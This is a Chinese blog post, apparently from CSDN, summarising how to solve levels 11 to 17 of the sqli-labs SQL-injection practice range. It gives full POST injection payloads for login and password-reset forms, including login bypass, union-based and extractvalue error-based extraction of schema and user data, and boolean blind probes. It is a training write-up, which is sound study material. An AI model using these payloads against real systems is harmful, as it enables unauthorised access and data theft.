sql-libs靶场11-17关总结

POST注入
  • post注入思路和get显错位注入思路一致

  • 只是请求的方法从get变为了post

一般的基本思路如下,以登录框为注入点为例(密码随便输入):

tips:

万能密码:
xxx’ or 1=1 #

1.已知一个用户
  • eg:admin

  • 使用连接符and

判断是否可以注入

admin' and 1=1 -- s        //返回正常,登录成功  
admin' and 1=2 -- s        //登录失败
说明and被带入到数据库中执行了,进而证明存在sql注入

#闭合符号'需要进行判断确定

判断字段数 =》 order by

admin' order by 3 

判断回显位置 =》 union

1231' union select 1,2,3 -- s

得到数据库名字 =》 database()

1231' union select 1,database(),user() -- s

得到表名 =》 information_schema.tables

1231' union select 1,2,group_concat(table_name) 
from information_schema.tables where table_schema=database() -- s

得到字段名 =》 information_schema.columns

1231' union select 1,2,group_concat(column_name) 
from information_schema.columns where table_schema=database() 
and table_name="users" -- s

获取数据

1231' union select 1,2,group_concat(username) from users
2.不知道用户名
  • 使用连接符or

  • 结合报错注入(通常在没有回显时使用)

判断是否可以注入

123' or 1=1 -- s //返回正常,登录成功
123' or 1=2 -- s //返回异常,登录失败
说明or被带入到数据库中执行了,进而证明存在sql注入

报错方法获取数据库

123' or  extractvalue('1',concat("~~",(database()))) -- s

报错方法获取表

123' or  extractvalue('1',concat("~~",(select group_concat(table_name) 
from information_schema.tables where table_schema=database()))) -- s

报错方法获取字段

123' or  extractvalue('1',concat("~~",(select group_concat(column_name) 
from information_schema.columns where 
table_schema=database() and table_name="users"))) -- s

报错方法获取数据

123' or  extractvalue('1',concat("~~",(select group_concat(username) 
from users))) -- s

ps:如果数据过多无法完全显示,可以使用substr,limit等函数进行输出限制

第11关

注入点:用户名输入框

注入类型:POST+字符型

构造闭合符号:单引号'

payload:

判断是否可以注入

admin' and 1=1 #        //返回正常,登录成功  
admin' and 1=2 #        //登录失败
说明and被带入到数据库中执行了,进而证明存在sql注入

#闭合符号'需要进行判断确定

判断字段数 =》 order by

admin' order by 2   //返回正常
admin' order by 3   //返回异常 确定字段数为2位

判断回显位置 =》 union

1231' union select 1,2 -- s
#1231 使得原来正确的admin 不占用回显位

得到数据库名字 =》 database()

1231' union select 1,database() -- s

得到表名 =》 information_schema.tables

1231' union select 1,group_concat(table_name) 
from information_schema.tables where table_schema=database() -- s

得到字段名 =》 information_schema.columns

1231' union select 1,group_concat(column_name) 
from information_schema.columns where table_schema=database() 
and table_name="users" -- s

获取数据

1231' union select 1,group_concat(username) from users -- s

ps:本关也可以使用报错注入的方法

第12关

注入点:用户名输入框

注入类型:POST+字符型

构造闭合符号:双引号+括号")

PS:流程方法与第11关一致,也可以使用报错注入的方式

第13关

注入点:用户名输入框

注入类型:POST+报错注入

构造闭合符号:单引号+括号')

判断是否可以注入

123') or 1=1 -- s //返回正常,登录成功
123') or 1=2 -- s //返回异常,登录失败
说明or被带入到数据库中执行了,进而证明存在sql注入

报错方法获取数据库

123') or  extractvalue('1',concat("~~",(database()))) -- s

报错方法获取表

123') or  extractvalue('1',concat("~~",(select group_concat(table_name) 
from information_schema.tables where table_schema=database()))) -- s

报错方法获取字段

123') or  extractvalue('1',concat("~~",(select group_concat(column_name) 
from information_schema.columns where 
table_schema=database() and table_name="users"))) -- s

报错方法获取数据

123') or  extractvalue('1',concat("~~",(select group_concat(username) 
from users))) -- s

PS:本关无回显,使用报错注入的方式

第14关

注入点:用户名输入框

注入类型:POST+报错注入

构造闭合符号:双引号"

PS:流程方法与第13关一致,只是构造符号不同

第15关

注入点:用户名输入框

注入类型:POST+布尔盲注

构造闭合符号:单引号'

payload:

123' or length(database())=8 -- s //判断数据库名长度

PS:详细流程与第8关一致,只不过注入点在用户输入框中

第16关

注入点:用户名输入框

注入类型:POST+布尔盲注

构造闭合符号:双引号+括号")

payload:

123") or length(database())=8 -- s //判断数据库名长度

PS:详细流程与第8关一致,只不过注入点在用户输入框中,闭合符号不同

第17关

情景:密码修改

注入点:密码输入框

注入类型:POST+报错注入

构造闭合符号:单引号'

前提:

  • 已知一个用户名

    • 方法

      • 暴力破解
      • 推测

经过测试得知存在用户admin

payload

uname=admin&passwd=123'and extractvalue(1,concat('~~',database(),'~~')) -- s&submit=Submit

PS:这里的payload是通过burp工具执行的,若要在页面注入,只需分别在框中输入admin123’and extractvalue(1,concat(‘‘,database(),’’)) – s

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值